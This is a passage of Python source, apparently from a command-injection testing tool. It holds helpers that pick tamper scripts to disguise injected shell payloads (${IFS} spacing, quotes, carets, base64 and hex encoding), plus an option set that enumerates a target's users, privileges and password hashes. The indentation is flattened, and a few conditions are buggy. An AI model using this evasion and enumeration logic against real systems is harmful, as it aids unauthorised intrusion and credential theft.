warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
"""
Message regarding unexpected time delays due to unstable requests
"""
def time_delay_due_to_unstable_request(timesec):
message = "Unexpected time delays that may lead to false-positive results, have been identified."
settings.print_data_to_stdout(settings.END_LINE.CR)
while True:
message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
return timesec, false_positive_fixation
elif proceed_option.lower() == "s":
false_positive_fixation = False
return timesec, false_positive_fixation
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
"""
Time relative shell condition
"""
def time_relative_shell(url_time_response, exec_time, timesec):
if (url_time_response == 0 and (exec_time - timesec) >= 0) or \
(url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \
(url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)):
return True
else:
return False
"""
Message regarding time relative attcks
"""
def time_relative_attaks_msg():
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Check if defined "--url-reload" option.
"""
def reload_url_msg(technique):
warn_msg = "On " + technique + "technique, the '--url-reload' option is not available."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Decision if the user-defined HTTP authenticatiob type,
is different than the one identified by heuristics.
"""
def identified_http_auth_type(auth_type):
warn_msg = "Identified different HTTP authentication type ("
warn_msg += auth_type.lower() + ") than that you have provided ("
warn_msg += menu.options.auth_type + ")."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
message = "How do you want to proceed? [(C)ontinue/(s)kip] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
return False
elif proceed_option.lower() == "c":
return True
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
"""
Retrieve everything from the supported enumeration options.
"""
def enable_all_enumeration_options():
# Retrieve current user name.
menu.options.current_user = True
# Retrieve current hostname.
menu.options.hostname = True
# Retrieve system information.
menu.options.sys_info = True
if settings.TARGET_OS == settings.OS.WINDOWS:
# Check if the current user have admin privileges.
menu.options.is_admin = True
# Retrieve PowerShell's version number.
menu.options.ps_version = True
else:
# Check if the current user have root privileges.
menu.options.is_root = True
# Retrieve system users.
menu.options.users = True
# Retrieve system users privileges.
menu.options.privileges = True
# Retrieve system users password hashes.
menu.options.passwords = True
"""
Check provided parameters for tests
"""
def check_provided_parameters():
if menu.options.test_parameter or menu.options.skip_parameter:
if menu.options.test_parameter != None :
if menu.options.test_parameter.startswith("="):
menu.options.test_parameter = menu.options.test_parameter[1:]
settings.TESTABLE_PARAMETERS_LIST = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
elif menu.options.skip_parameter != None :
if menu.options.skip_parameter.startswith("="):
menu.options.skip_parameter = menu.options.skip_parameter[1:]
settings.TESTABLE_PARAMETERS_LIST = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
for i in range(0,len(settings.TESTABLE_PARAMETERS_LIST)):
if "=" in settings.TESTABLE_PARAMETERS_LIST[i]:
settings.TESTABLE_PARAMETERS_LIST[i] = settings.TESTABLE_PARAMETERS_LIST[i].split("=")[0]
"""
Remove skipped parameters
"""
def remove_skipped_params(url, check_parameters):
testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(",")))
settings.TESTABLE_PARAMETERS_LIST = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX)]
_ = []
for parameter in check_parameters:
if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX):
_.append(parameter)
if _:
info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
menu.options.test_parameter = True
"""
Print the non-listed parameters.
"""
def testable_parameters(url, check_parameters, header_name):
if menu.options.skip_parameter != None:
remove_skipped_params(url, check_parameters)
_ = False
if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]:
_ = True
if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list):
testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).replace(settings.SINGLE_WHITESPACE, "")
testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX)
non_exist_param = list(set(testable_parameters) - set(check_parameters))
if _ and settings.TESTABLE_PARAMETERS != False:
settings.TESTABLE_PARAMETERS = _
else:
settings.TESTABLE_PARAMETERS = False
if non_exist_param:
non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "")
non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX)
if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \
menu.options.test_parameter != None:
if menu.options.cookie != None:
if settings.COOKIE_DELIMITER in menu.options.cookie:
cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
for cookie in cookies:
if cookie.split("=")[0].strip() in menu.options.test_parameter:
try:
non_exist_param.remove(cookie.split("=")[0].strip())
except ValueError:
pass
elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
try:
non_exist_param.remove(menu.options.cookie.split("=")[0])
except ValueError:
pass
# Remove the defined HTTP headers
for http_header in settings.HTTP_HEADERS:
if http_header in non_exist_param:
settings.TESTABLE_PARAMETERS = True
non_exist_param.remove(http_header)
if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _:
non_exist_param_items = ", ".join(non_exist_param)
debug_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '"
debug_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1]
debug_msg += " not inside the "
if settings.COOKIE_INJECTION:
debug_msg += settings.COOKIE
else:
debug_msg += check_http_method(url)
debug_msg += "."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
"""
Only time-relative injection techniques support tamper
"""
def time_relative_tamper(tamper):
warn_msg = "All injection techniques, except for the time-relative ones, "
warn_msg += "do not support the '" + tamper + ".py' tamper script."
if menu.options.skip_heuristics:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Lists available tamper scripts
"""
def list_tamper_scripts():
info_msg = "Listing available tamper scripts."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if menu.options.list_tampers:
for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
content = open(script, "rb").read().decode(settings.DEFAULT_CODEC)
match = re.search(r"About:(.*)\n", content)
if match:
comment = match.group(1).strip()
settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment)
"""
Tamper script checker
"""
def tamper_scripts(stored_tamper_scripts):
if menu.options.tamper:
# Check the provided tamper script(s)
available_scripts = []
provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())))
for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
available_scripts.append(os.path.basename(script.split(".py")[0]))
for script in provided_scripts:
if script in available_scripts:
pass
else:
err_msg = "The '" + script + "' tamper script does not exist. "
err_msg += "Use the '--list-tampers' option for listing available tamper scripts."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if not stored_tamper_scripts:
info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
for script in provided_scripts:
if "hexencode" or "base64encode" == script:
settings.MULTI_ENCODED_PAYLOAD.append(script)
import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0]
warn_msg = ""
if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "The dynamic code evaluation technique does "
elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "Windows targets do "
elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "Unix-like targets do "
if len(warn_msg) != 0:
if not stored_tamper_scripts:
warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
if not stored_tamper_scripts:
settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1])
try:
module = __import__(import_script, fromlist=[None])
if not hasattr(module, "__tamper__"):
err_msg = "Missing variable '__tamper__' "
err_msg += "in tamper script '" + import_script.split(".")[-1] + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except (ImportError, ValueError) as err_msg:
pass
# Using too many tamper scripts is usually not a good idea. :P
_ = False
if len(provided_scripts) >= 3 and not settings.LOAD_SESSION:
warn_msg = "Using too many tamper scripts "
_ = True
elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION:
_ = True
warn_msg = "The combination of the provided tamper scripts "
if _:
warn_msg += "is not a good idea (may cause false positive / negative results)."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Check if the payload output seems to be hex.
"""
def hex_output(payload):
if not settings.TAMPER_SCRIPTS['hexencode']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",hexencode"
else:
menu.options.tamper = "hexencode"
"""
Check if the payload output seems to be base64.
"""
def base64_output(payload):
if not settings.TAMPER_SCRIPTS['base64encode']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",base64encode"
else:
menu.options.tamper = "base64encode"
"""
Check for modified whitespaces.
"""
def whitespace_check(payload):
_ = []
whitespaces = ["${IFS}", "+", "%09", "%0b", "%20"]
for whitespace in whitespaces:
if whitespace in payload:
_.append(whitespace)
# Enable the "space2ifs" tamper script.
if "${IFS}" in _:
if not settings.TAMPER_SCRIPTS['space2ifs']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2ifs"
else:
menu.options.tamper = "space2ifs"
settings.WHITESPACES[0] = "${IFS}"
# Enable the "space2plus" tamper script.
elif "+" in _ and payload.count("+") >= 2:
if not settings.TAMPER_SCRIPTS['space2plus']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2plus"
else:
menu.options.tamper = "space2plus"
settings.WHITESPACES[0] = "+"
# Enable the "space2htab" tamper script.
elif "%09" in _:
if not settings.TAMPER_SCRIPTS['space2htab']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2htab"
else:
menu.options.tamper = "space2htab"
settings.WHITESPACES[0] = "%09"
# Enable the "space2vtab" tamper script.
elif "%0b" in _:
if not settings.TAMPER_SCRIPTS['space2vtab']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2vtab"
else:
menu.options.tamper = "space2vtab"
settings.WHITESPACES[0] = "%0b"
# Default whitespace
else :
settings.WHITESPACES[0] = "%20"
# Enable the "multiplespaces" tamper script.
count_spaces = payload.count(settings.WHITESPACES[0])
if count_spaces > 15:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",multiplespaces"
else:
menu.options.tamper = "multiplespaces"
settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2)
"""
Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads.
"""
def other_symbols(payload):
# Check for reversed (characterwise) user-supplied operating system commands.
if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['rev']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",rev"
else:
menu.options.tamper = "rev"
# Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads.
if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backticks"
else:
menu.options.tamper = "backticks"
settings.USE_BACKTICKS == True
# Check for caret symbol
if payload.count("^") >= 10:
if not settings.TAMPER_SCRIPTS['caret']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",caret"
else:
menu.options.tamper = "caret"
# Check for dollar sign followed by an at-sign
if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['dollaratsigns']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",dollaratsigns"
else:
menu.options.tamper = "dollaratsigns"
# Check for uninitialized variable
if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['uninitializedvariable']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",uninitializedvariable"
else:
menu.options.tamper = "uninitializedvariable"
# Check for environment variable value variable
if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['slash2env']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",slash2env"
else:
menu.options.tamper = "slash2env"
"""
Check for (multiple) added back slashes between the characters of the generated payloads.
"""
def check_backslashes(payload):
# Check for single quotes
if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['backslashes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backslashes"
else:
menu.options.tamper = "backslashes"
"""
Check for quotes in the generated payloads.
"""
def check_quotes(payload):
# Check for double quotes around of the generated payloads.
if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['nested']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",nested"
else:
menu.options.tamper = "nested"
# Check for (multiple) added double-quotes between the characters of the generated payloads.
if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['doublequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",doublequotes"
else:
menu.options.tamper = "doublequotes"
# Check for (multiple) added single-quotes between the characters of the generated payloads.
if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['singlequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",singlequotes"
else:
menu.options.tamper = "singlequotes"
"""
Check for applied (hex / b64) encoders.
"""
def check_encoders(payload):
is_decoded = False
encoded_with = ""
check_value = payload
settings.MULTI_ENCODED_PAYLOAD = list(dict.fromkeys(settings.MULTI_ENCODED_PAYLOAD))
for encode_type in settings.MULTI_ENCODED_PAYLOAD:
if encode_type == 'base64encode' or encode_type == 'hexencode':
while True:
message = "Do you want to keep using the '" + encode_type + "' tamper script? [y/N] > "
procced_option = common.read_input(message, default="N", check_batch=True)
if procced_option in settings.CHOICE_YES:
break
elif procced_option in settings.CHOICE_NO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Unloading the '" + encode_type + "' tamper script."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.MULTI_ENCODED_PAYLOAD.remove(encode_type)
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \
not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
_payload = base64.b64decode(check_value)
try:
if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
decoded_payload = _payload
encoded_with = "base64"
if re.match(settings.HEX_RECOGNITION_REGEX, check_value):
decoded_payload, _ = hexdecode(decoded_payload)
if _:
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
encoded_with = "hex"
except Exception:
pass
elif re.match(settings.HEX_RECOGNITION_REGEX, check_value):
decoded_payload, _ = hexdecode(check_value)
if _:
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
encoded_with = "hex"
if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \
not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload):
_payload = base64.b64decode(check_value)
try:
if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
decoded_payload = _payload
encoded_with = "base64"
except Exception:
pass
else:
decoded_payload = payload
if len(encoded_with) != 0:
is_decoded = True
if is_decoded:
while True:
message = "The provided value appears to be " + encoded_with + "-encoded. "
message += "Do you want to use '" + encoded_with + "encode' tamper script? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
break
elif procced_option in settings.CHOICE_NO:
settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode")
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
if is_decoded:
return _urllib.parse.quote(decoded_payload), encoded_with
else:
return payload, encoded_with
"""
Recognise the payload.
"""
def recognise_payload(payload):
if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['sleep2usleep']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",sleep2usleep"
else:
menu.options.tamper = "sleep2usleep"
elif "timeout" in payload:
if not settings.TAMPER_SCRIPTS['sleep2timeout']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",sleep2timeout"
else:
menu.options.tamper = "sleep2timeout"
return check_encoders(payload)
"""
Check for stored payloads and enable tamper scripts.
"""
def check_for_stored_tamper(payload):
decoded_payload, encoded_with = recognise_payload(payload)
whitespace_check(decoded_payload)
other_symbols(decoded_payload)
check_quotes(decoded_payload)
tamper_scripts(stored_tamper_scripts=True)
"""
Perform payload modification
"""
def perform_payload_modification(payload):
settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE)
for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
if extra_http_headers == "xforwardedfor":
from src.core.tamper import xforwardedfor
for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Reverses (characterwise) the user-supplied operating system commands
if mod_type == 'backticks':
from src.core.tamper import backticks
payload = backticks.tamper(payload)
for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Reverses (characterwise) the user-supplied operating system commands
if mod_type == 'rev':
from src.core.tamper import rev
payload = rev.tamper(payload)
for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# printf to echo (for ascii to dec)
if print_type == 'printf2echo':
from src.core.tamper import printf2echo
payload = printf2echo.tamper(payload)
for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# sleep to timeout
if sleep_type == 'sleep2timeout':
from src.core.tamper import sleep2timeout
payload = sleep2timeout.tamper(payload)
# sleep to usleep
if sleep_type == 'sleep2usleep':
from src.core.tamper import sleep2usleep
payload = sleep2usleep.tamper(payload)
for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Add double-quotes.
if quotes_type == 'doublequotes':
from src.core.tamper import doublequotes
payload = doublequotes.tamper(payload)
# Add single-quotes.
if quotes_type == 'singlequotes':
from src.core.tamper import singlequotes
payload = singlequotes.tamper(payload)
for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Add uninitialized variable.
if mod_type == 'uninitializedvariable':
from src.core.tamper import uninitializedvariable
payload = uninitializedvariable.tamper(payload)
if mod_type == 'slash2env':
from src.core.tamper import slash2env
payload = slash2env.tamper(payload)
# Add backslashes.
if mod_type == 'backslashes':
from src.core.tamper import backslashes
payload = backslashes.tamper(payload)
# Add caret symbol.
if mod_type == 'caret':
from src.core.tamper import caret
payload = caret.tamper(payload)
# Transfomation to nested command
if mod_type == 'nested':
from src.core.tamper import nested
payload = nested.tamper(payload)
# Add dollar sign followed by an at-sign.
if mod_type == 'dollaratsigns':
from src.core.tamper import dollaratsigns
payload = dollaratsigns.tamper(payload)
for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Encode spaces.
if space_mod == 'space2ifs':
from src.core.tamper import space2ifs
payload = space2ifs.tamper(payload)
if space_mod == 'space2plus':
from src.core.tamper import space2plus
payload = space2plus.tamper(payload)
if space_mod == 'space2htab':
from src.core.tamper import space2htab
payload = space2htab.tamper(payload)
if space_mod == 'space2vtab':
from src.core.tamper import space2vtab
payload = space2vtab.tamper(payload)
if space_mod == 'multiplespaces':
from src.core.tamper import multiplespaces
payload = multiplespaces.tamper(payload)
for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Encode payload to hex format.
if encode_type == 'base64encode':
from src.core.tamper import base64encode
payload = base64encode.tamper(payload)
# Encode payload to hex format.
if encode_type == 'hexencode':
from src.core.tamper import hexencode
payload = hexencode.tamper(payload)
return payload
"""
Skip parameters when the provided value is empty.
"""
def skip_empty(empty_parameters, http_request_method):
warn_msg = "The " + http_request_method
warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " '" + empty_parameters + "'"
warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1]
warn_msg += "been skipped from testing"
warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Parsing and unflattening json data.
"""
def json_data(data):
data = json.loads(data, object_pairs_hook=OrderedDict)
data = unflatten_list(data)
data = json.dumps(data)
return data
"""
"No parameter(s) found for testing.
"""
def no_parameters_found():
err_msg = "No parameter(s) found for testing in the provided data "
err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). "
if not menu.options.crawldepth:
err_msg += "You are advised to rerun with '--crawl=2'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check if the provided value is empty.
"""
def is_empty(multi_parameters, http_request_method):
all_empty = False
empty_parameters = []
multi_params = [s for s in multi_parameters]
if settings.IS_JSON:
try:
multi_params = ','.join(multi_params)
if is_JSON_check(multi_params):
json_data = json.loads(multi_params, object_pairs_hook=OrderedDict)
multi_params = flatten(json_data)
except ValueError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
for empty in multi_params:
try:
if settings.IS_JSON:
try:
if len(str(multi_params[empty])) == 0 :
empty_parameters.append(empty)
except TypeError:
pass
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE:
empty_parameters.append(re.findall(r'</(.*)>', empty)[0])
elif len(empty.split("=")[1]) == 0:
empty_parameters.append(empty.split("=")[0])
except IndexError:
pass
if len(empty_parameters) == len(multi_parameters):
all_empty = True
if menu.options.skip_empty:
settings.SKIP_PARAMETER = empty_parameters
empty_parameters = ", ".join(empty_parameters)
if len(empty_parameters) > 0:
if menu.options.skip_empty:
skip_empty(empty_parameters, http_request_method)
if all_empty:
return all_empty
else:
return False
else:
warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " for " + http_request_method
warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " '" + empty_parameters + "'"
warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. "
warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION
warn_msg += " could be able to run properly."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return False
# Check if valid SOAP/XML
def is_XML_check(parameter):
try:
if re.search(settings.XML_RECOGNITION_REGEX, parameter):
return True
except ValueError as err_msg:
return False
#Check if INJECT_TAG is enclosed in quotes (in json data)
def check_quotes_json_data(data):
if not json.dumps(settings.INJECT_TAG) in data:
data = data.replace(settings.INJECT_TAG, json.dumps(settings.INJECT_TAG))
return data
# Check if valid JSON
def is_JSON_check(parameter):
try:
json_object = json.loads(parameter.replace(settings.INJECT_TAG,""))
return True
except ValueError as err_msg:
_ = False
if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")):
_ = True
if not "No JSON object could be decoded" in str(err_msg) and \
not _:
err_msg = "JSON " + str(err_msg) + ". "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
return False
# Process with JSON data
def process_data(data_type, http_request_method):
while True:
info_msg = str(data_type) + " data found in " + str(http_request_method) + " body."
message = info_msg
message += " Do you want to process it? [Y/n] > "
process = common.read_input(message, default="Y", check_batch=True)
if process in settings.CHOICE_YES:
return True
elif process in settings.CHOICE_NO:
settings.IGNORE_USER_DEFINED_POST_DATA = True
return False
elif process in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(process)
pass
"""
Check for similarity in provided parameter name and value.
"""
def check_similarities(all_params):
if settings.IS_JSON:
try:
_ = "".join(random.sample(string.ascii_uppercase, k=6))
all_params = ','.join(all_params)
json_data = json.loads(all_params, object_pairs_hook=OrderedDict)
all_params = flatten(json_data)
for param in all_params:
if isinstance(all_params[param], str):
if all_params[param] in param:
all_params[param] = all_params[param] + settings.RANDOM_TAG
if settings.SINGLE_WHITESPACE in all_params[param]:
all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _)
all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_ ,settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")]
except Exception as e:
pass
else:
for param in range(0, len(all_params)):
if settings.IS_XML:
if re.findall(r'>(.*)</', all_params[param]):
if re.findall(r'>(.*)</', all_params[param])[0] in re.findall(r'</(.*)>', all_params[param])[0]:
parameter_name = ''.join(re.findall(r'</(.*)>', all_params[param]))
parameter_value = ''.join(re.findall(r'>(.*)</', all_params[param]))
all_params[param] = "<" + parameter_name + ">" + parameter_value + settings.RANDOM_TAG + "</" + parameter_name + ">"
else:
if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]):
parameter_name = ''.join(re.findall(r'=(.*)', all_params[param]))
if parameter_name:
all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG
elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]:
parameter_name = ''.join(re.findall(r'(.*)=', all_params[param]))
parameter_value = ''.join(re.findall(r'=(.*)', all_params[param]))
all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG
all_params = [x for x in all_params if x is not None]
return all_params
"""
Gererate characters pool (for blind command injections)
"""
def generate_char_pool(num_of_chars):
if menu.options.charset:
char_pool = [ord(c) for c in menu.options.charset]
else:
# Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language
if num_of_chars == 1:
char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \
[101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122]
else:
char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \
[69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90]
char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
"""
Print powershell version
"""
def print_ps_version(ps_version, filename, _):
try:
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in ps_version)
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
info_msg = "Powershell version: " + ps_version
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = "Powershell version: " + ps_version + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
except ValueError:
warn_msg = "Failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
settings.PS_ENABLED = False
ps_check_failed()
"""
Print hostname
"""
def print_hostname(shell, filename, _):
if shell:
if settings.VERBOSITY_LEVEL == 0 and _:
